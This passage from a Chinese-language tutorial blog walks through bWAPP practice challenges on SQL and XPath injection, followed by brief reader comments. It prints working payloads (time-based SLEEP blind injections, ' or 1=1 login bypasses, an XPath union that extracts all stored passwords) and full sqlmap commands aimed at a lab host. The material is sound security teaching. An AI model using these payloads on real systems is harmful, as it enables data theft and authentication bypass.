把请求中想让sqlmap识别字段使用星号*代替即可,XML注入可以,JSON亦可

我们看下效果,果然,非常完美

数据库也不在话下

我们看到sqlmap发现这里既有错误注入还有时间盲注啊
简单构造一下payload,延时5秒

看看结果,果然存在

<reset><login>' AND (SELECT * FROM(SELECT (SLEEP(5)))Meetsec)-- test</login><secret>bee</secret></reset>

完结了,字数又大幅增加了,哇哇哇!

SQL Injection - Blind - Boolean-Based--low

布尔型盲注,为啥这题这么说

因为响应包不会把报错返回出来,只是显示Incorrect syntax detected!

既然是盲注,直接走sqlmap好了

sqlmap.py -u "http://192.168.248.132/bWAPP/sqli_4.php?title=1&action=search" -p title --cookie "security_level=0; SESSa02b61540789dbe071bd08de16e73e55=R_74PZC27XjbOWj1J4LeX1LbmSxdavWvnDSxep6xfLs; PHPSESSID=8741a54dff986406de808e52e33b4780"

sqlmap确实找到了注入,但是是基于时间的盲注

那么这道题为啥说自己是布尔型盲注?当我们在搜索框搜索

' order by 8#      //回显Incorrect syntax detected!
' order by 7#      //回显The movie does not exist in our database!

所以我们可以配合mid,hex,>/</=等字符或函数,根据回显判断插入语句的执行情况

比如

Iron Man' and (if((substr((select version()),1,1)=5),sleep(5),null)) --

我们还是老规矩看一下源码

sql语句倒是和前面没什么差异,主要是针对报错进行了处理,当执行出错直接通过die()将回显固定为Incorrect syntax detected!

SQL Injection - Blind - Time-Based--low

本题是基于时间的盲注,前面的注入方式全部都失灵了,因为你不管输入什么,我不提供任何回显,所以你也不知道插入的sql语句执行效果是什么样的

当然如果真的有注入点,我们可以利用数据库自带的一些特殊函数侧面反馈一下我们的sql语句有没有执行

比如MySQL中的BENCHMARK()函数和SLEEP()函数,分别可以起到指定一个操作执行的次数和执行挂起的时间

在MySQL中执行select sleep(N)可以让此语句运行N秒钟

比如本题,使用sqlmap的payload去直接粘贴到搜索框搜索会发现,原本很快就能返回的结果直到5秒后才返回

1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND 'a'='a

我一直认为sqlmap好是好,就是里面的payload实在太冗余,参杂了很多payload作者的个人色彩

其实简化的payload如下

iron man' and sleep(5)#

其中iron man确实在该数据库中,当前面的sql语句正确执行了,挂起5秒

那么当不知道数据库里究竟有什么的时候,我们如何用最简单的sql语句测试呢?

xx' or 1=1 and sleep(5)#

上面的or保证了无论xx在不在数据库都可以顺利执行

根据以上特性,其实我们就可以通过当sql语句执行正确时,挂起5秒来判断返回结果

当然时间注入耗时会非常长,同时网络延迟也会对结果进行干扰,建议灵活选择注入策略

SQL Injection - Blind (SQLite)

这道题和SQL Injection - Blind - Boolean-Based是一样的,将报错统一化

那么验证的思路也是类似

' order by 7--      //回显Incorrect syntax detected!
' order by 6--      //回显The movie does not exist in our database!

注意一下,注释符号从#换成了--原因嘛,很简单,这是sqlite,sqlite单行注释符只有--没有#

所以如果走手工的话还是要substr()、mid()、hex()等函数一个个字符来了

如果走sqlmap的话,还是没有注入出来,看来工具也不是万能的

更新一下:新版sqlmap可以跑出来,需要提升一下risk和level,直接用{1.2.8.1#dev}版本

sqlmap.py -u "http://192.168.248.132/bWAPP/sqli_14.php?title=1&action=search" -p title --cookie "security_level=0; SESSa02b61540789dbe071bd08de16e73e55=R_74PZC27XjbOWj1J4LeX1LbmSxdavWvnDSxep6xfLs; PHPSESSID=8741a54dff986406de808e52e33b4780" --dbms sqlite --batch --risk=3 --level 3

SQL Injection - Blind (WS/SOAP)

先简单介绍一下SOAP

简单对象访问协议(SOAP)是连接或Web服务或客户端和Web服务之间的接口。SOAP通过应用层协议
(如HTTP,SMTP或甚至TCP)进行操作,用于消息传输。
它是基于xml语言开发的,它使用Web服务描述语言(WSDL)来生成Web服务之间的接口。

更多SOAP和注入的知识参考

针对SOAP的渗透测试与防护

我们回归一下这个题目

这个页面实现的主要是根据电影的名称返回该电影剩余的票数

所以还是用到了数据查询,和SOAP常规注入找WSDL然后测试不是很像,但是还是在根据传入的参数处添加恶意payload实现注入的效果

直接上sqlmap

sqlmap.py -u "http://192.168.248.132/bWAPP/sqli_5.php?title=G.I.+Joe%3A+Retaliation&action=go" -p title --cookie "security_level=0; SESSa02b61540789dbe071bd08de16e73e55=R_74PZC27XjbOWj1J4LeX1LbmSxdavWvnDSxep6xfLs; PHPSESSID=8741a54dff986406de808e52e33b4780"

找到了基于时间的盲注

XML/XPath Injection (Login Form)--low

嗯,XPath其实和sql查询挺像,区别在于sql查询是在数据库中查数据,Xpath是在xml中找信息,既然如此只要熟悉一下Xpath的语法,知道它的特点即可找到对应的注入思路

结点

在 XPath 中,有七种类型的节点:元素、属性、文本、命名空间、处理指令、注释以及文档节点(或称为根节点)。节点之间存在父、子、先辈、后代、同胞关系,以t3stt3st.xml为例
根节点<root1> 、元素节点<user><username><key><hctfadmin> 、属性节点name='user1'
<root1>是<user>和<htcfadmin>的父节点,同时也是<user><hctfadmin><username><key>的先辈。<username>和<key>是同胞节点。
路径表达式

通配符

通配符     描述
*     匹配任何元素节点
@*     匹配任何属性节点
node()     匹配任何类型的节点

选取若干路径

通过在路径表达式中使用“|”运算符,可以选取若干个路径。

举一个Xpath注入的例子

例存在user.xml文件如下:

<users>

 <user>

     <firstname>Ben</firstname>

     <lastname>Elmore</lastname>

     <loginID>abc</loginID>

     <password>test123</password>

 </user>

 <user>

     <firstname>Shlomy</firstname>

     <lastname>Gantz</lastname>

     <loginID>xyz</loginID>

     <password>123test</password>

 </user>

则在XPath中其典型的查询语句如下:

//users/user[loginID/text()='xyz'and password/text()='123test']

但是,可以采用如下的方法实施注入攻击,绕过身份验证。如果用 户传入一个 login 和 password,例如 loginID = 'xyz' 和 password = '123test',则该查询语句将返回 true。但如果用户传入类似 ' or 1=1 or ''=' 的值,那么该查询语句也会得到 true 返回值,因为 XPath 查询语句最终会变成如下代码:

//users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''='']

回归本题,我们可以看到,在随意输入以后并不能登录成功

同时根据上面的知识我们知道单引号、or、and这些语句在xpath中同样可以使用,我们构造如下帐号密码

meetset' or '1'='1

我们看一下源码部分

可以看到登录的查询就是常规xpath查询操作,在low级别下不进行过滤产生了注入

XML/XPath Injection (Search)--low

选一个类别的电影,然后底下处对应的电影名

最后一道题确实有点迷,我们对着源码看一下

核心语句为

$result = $xml->xpath("//hero[contains(genre, '$genre')]/movie");

当然上面还有一句关键的语句

// Loads the XML file

$xml = simplexml_load_file("passwords/heroes.xml");

在xpath中,加载的xml其实就相当于要查询的数据库,那么我们看下这个heroes.xml里是什么

既包含<movie><genre>也包含<login><password>

看来是根据genre的不同筛选movie的名称

可惜我们的xpath注入只能针对加载的xml来,不过其实足矣,我们尝试一下能不能查到login或password

我们构造一下payload

')]/password | a[contains(a,'

类似于sql注入

')]用于闭合[contains(genre, '$genre
/password表示从根节点选择password字段
|表示两个节点的集合
a[contains(a,'用于闭合')]/movie

整个语句其实是

$result = $xml->xpath("//hero[contains(genre, '')]/password | a[contains(a,'')]/movie");

简化一下,变成了

$result = $xml->xpath("//hero/password");

所以结果就是取了所有hero的password

非常nice,而且这种注入sqlmap是无法测试出来的

顺便一提:这道题不看源码能做出来的真乃神人也

至此注入关全部教程结束,总计约29000字(更新了一次增加至33000字)真是艰辛,还有其它关卡等待继续~~


本文由 古月蓝旻 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

5 条评论

  1. ora
    ora

    写的非常好,就是1-3章的图片挂了

    1. 古月蓝旻
      古月蓝旻

      感谢提醒,图床已经全部修复~~

  2. monglo
    monglo

    SQL Injection - Stored (XML) 那道题,,,sql注入的,怎么说到xxe了。。而且,文件名是 sqli_8-1.php,不是xxe-2.php啊。。

    1. 古月蓝旻
      古月蓝旻

      感谢提醒,这里和xxe的部分弄混了,有时间我更正一下

    2. 古月蓝旻
      古月蓝旻

      已更正,请放心食用,这是一道非常不错的题目

添加新评论